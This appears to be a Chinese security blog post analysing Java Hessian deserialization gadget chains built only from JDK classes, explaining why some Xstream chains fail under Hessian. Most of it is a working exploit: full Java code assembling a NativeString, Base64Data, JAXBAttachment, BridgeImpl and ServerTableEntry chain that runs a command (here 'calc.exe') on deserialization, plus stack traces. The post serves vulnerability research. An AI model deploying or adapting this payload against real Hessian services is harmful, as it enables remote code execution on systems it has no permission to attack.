Hessian JDK反序列化漏洞

前言

学习!


环境搭建

只需要一个Hessian依赖:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

序列化和反序列化使用Hessian2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static byte[] serialize(Object o) {
byte[] bytes = null;
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(bos);
ho.getSerializerFactory().setAllowNonSerializable(true);
ho.writeObject(o);
ho.flushBuffer();
bytes = bos.toByteArray();
}catch (Exception e) {
e.printStackTrace();
}
return bytes;
}

public static Object unserialize(byte[] bytes) {
Object o = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input hi = new Hessian2Input(is);
o = hi.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return o;
}

Hessian可以理解为存在类型限制(如Map和Iterator等类型在反序列化时可能受到限制)且不要求可序列化的反序列化,可以类比Xstream和Fastjson。

Xstream ContainsFilter利用链

ContainsFilter只有从FilterIterator来的调用方式,然而Hessian在反序列化Iterator时使用的是IteratorDeserializer,其readList函数如下:

1
2
3
4
5
6
7
8
9
10
ArrayList list = new ArrayList();

in.addRef(list);

while (! in.isEnd())
list.add(in.readObject());

in.readEnd();

return list.iterator();

类型被限定为了ArrayList,无法正常反序列化Iterator类。

而且ContainsFilter继承自ServiceRegistry.Filter,该接口下的filter函数需要一个参数,也无法通过AnnotationInvocationHandler调用。

XStream InitialContext

貌似有一个以MultiUIDefaults为入口的利用链:

1
2
3
4
5
6
7
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

看起来是JNDI注入,不怎么有趣。这条链因为MultiUIDefaults继承自Map,虽然它有public的无参构造函数,但是因为MapDeserializer实例化时用的是constructor + newInstance()的方式而不是一般类所用的_unsafe.allocateInstance(_type),所以MultiUIDefaults就会因为不是public类而无法实例化。

ServerTableEntry + GetterSetterReflection

按正常反序列化流程会从RequestContext开始,然而它是一个Map,而且没有无参构造函数,于是就被Hessian鲨了。

1
2
3
4
5
6
7
8
9
10
11
12
13
Constructor<?> []ctors = type.getConstructors();
for (int i = 0; i < ctors.length; i++) {
if (ctors[i].getParameterTypes().length == 0)
_ctor = ctors[i];
}

if (_ctor == null) {
try {
_ctor = HashMap.class.getConstructor(new Class[0]);
} catch (Exception e) {
throw new IllegalStateException(e);
}
}

MapDeserializer只要public的无参构造函数,不然把Map全都给你整成HashMap。

找找还有什么地方调用了JAXBAttachment.asInputStream,找到了同类下的getInputStream函数:

1
2
3
public InputStream getInputStream() throws IOException {
return this.asInputStream();
}

再往上一找,会发现Base64Data.get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public byte[] get() {
if (this.data == null) {
try {
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
InputStream is = this.dataHandler.getDataSource().getInputStream();
baos.readFrom(is);
is.close();
this.data = baos.getBuffer();
this.dataLen = baos.size();
} catch (IOException var3) {
this.dataLen = 0;
}
}

return this.data;
}

非常眼熟,这不就是Xstream反序列化漏洞中用到过的类吗,简单测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
JAXBAttachment jaxbAttachment = new JAXBAttachment(null, null, null, null);

DataHandler dataHandler = new DataHandler(jaxbAttachment);

Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);

Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);

Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);

byte[] bytes = serialize(map);
Object o = unserialize(bytes);

发现在反序列化过程中正常走到了JAXBAttachment.writeTo函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java.lang.NullPointerException
at com.sun.xml.internal.ws.message.JAXBAttachment.writeTo(JAXBAttachment.java:109)
at com.sun.xml.internal.ws.message.JAXBAttachment.asInputStream(JAXBAttachment.java:99)
at com.sun.xml.internal.ws.message.JAXBAttachment.getInputStream(JAXBAttachment.java:125)
at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:181)
at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286)
at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121)
at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117)
at java.util.HashMap.hash(HashMap.java:341)
at java.util.HashMap.put(HashMap.java:614)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.example.App.unserialize(App.java:63)
at org.example.App.main(App.java:38)

继续构造,BridgeImpl类的构造比较麻烦,下一步的MarshallerImpl对象要从其父类Bridge的marshal函数中获得,调用链比较复杂:

1
Marshaller m = (Marshaller)this.context.marshallerPool.take();

marshallerPool.take是一个抽象类Impl中定义的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final T take() {
T t = this.getQueue().poll();
return t == null ? this.create() : t;
}

private ConcurrentLinkedQueue<T> getQueue() {
WeakReference<ConcurrentLinkedQueue<T>> q = this.queue;
ConcurrentLinkedQueue d;
if (q != null) {
d = (ConcurrentLinkedQueue)q.get();
if (d != null) {
return d;
}
}

d = new ConcurrentLinkedQueue();
this.queue = new WeakReference(d);
return d;
}

需要构造一个包含ConcurrentLinkedQueue的WeakReference,WeakReference类的get函数很好控制:

1
2
3
public T get() {
return this.referent;
}

而这个抽象类Impl最后被实例化为了匿名类:

1
2
3
4
5
6
this.marshallerPool = new Impl<Marshaller>() {
@NotNull
protected Marshaller create() {
return JAXBContextImpl.this.createMarshaller();
}
};

此外的问题也比较多,一步步调试最后构造出对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
JAXBContextImpl.JAXBContextBuilder jAXBContextBuilder = new com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.JAXBContextBuilder();
jAXBContextBuilder.setClasses(new Class[]{});
Object jaxbContext = jAXBContextBuilder.build();

Object marshaller = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.MarshallerImpl");
Utils.setField(marshaller, "encoding", "UTF-8");
Utils.setField(marshaller, "context", jaxbContext);
Constructor<?> c = XMLSerializer.class.getDeclaredConstructors()[0];
c.setAccessible(true);
Object xmlSerializer = c.newInstance(marshaller);
Utils.setField(marshaller, "serializer", xmlSerializer);

ConcurrentLinkedQueue concurrentLinkedQueue = new ConcurrentLinkedQueue();
concurrentLinkedQueue.add(marshaller);
WeakReference weakReference = new WeakReference(concurrentLinkedQueue);
Object marshallerPool = Utils.getFieldValue(jaxbContext, "marshallerPool");
Utils.setField(marshallerPool, "queue", weakReference);

Method verify = ServerTableEntry.class.getMethod("verify");
Accessor.GetterSetterReflection getterSetterReflection = new Accessor.GetterSetterReflection(verify, null);

Object classBeanInfo = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl");
Utils.setField(classBeanInfo, "jaxbType", ServerTableEntry.class);
Utils.setField(classBeanInfo, "uriProperties", new Property[]{});
Utils.setField(classBeanInfo, "inheritedAttWildcard", getterSetterReflection);

Object bridgeImpl = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.BridgeImpl");
Utils.setField(bridgeImpl, "context", jaxbContext);
Utils.setField(bridgeImpl, "bi", classBeanInfo);

BridgeWrapper bridgeWrapper = new BridgeWrapper(null, null);
Utils.setField(bridgeWrapper, "bridge", bridgeImpl);

Object serverTableEntry = Utils.createWithoutConstructor("com.sun.corba.se.impl.activation.ServerTableEntry");
Utils.setField(serverTableEntry, "activationCmd", "calc.exe");
JAXBAttachment jaxbAttachment = new JAXBAttachment(null, serverTableEntry, bridgeWrapper, null);

DataHandler dataHandler = new DataHandler(jaxbAttachment);

Base64Data base64Data = new Base64Data();
Utils.setField(base64Data, "dataHandler", dataHandler);

Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString");
Utils.setField(nativeString, "value", base64Data);

Map<Object, Object> map = new HashMap<>();
map.put(1, 1);
Object[] table = (Object[])Utils.getFieldValue(map, "table");
Utils.setField(table[1], "key", nativeString);
unserialize(serialize(map));

可以在反序列化时触发Runtime命令执行。


参考文章


Hessian JDK反序列化漏洞
http://yoursite.com/2023/02/09/Hessian-JDK反序列化漏洞/
作者
Aluvion
发布于
2023年2月9日
许可协议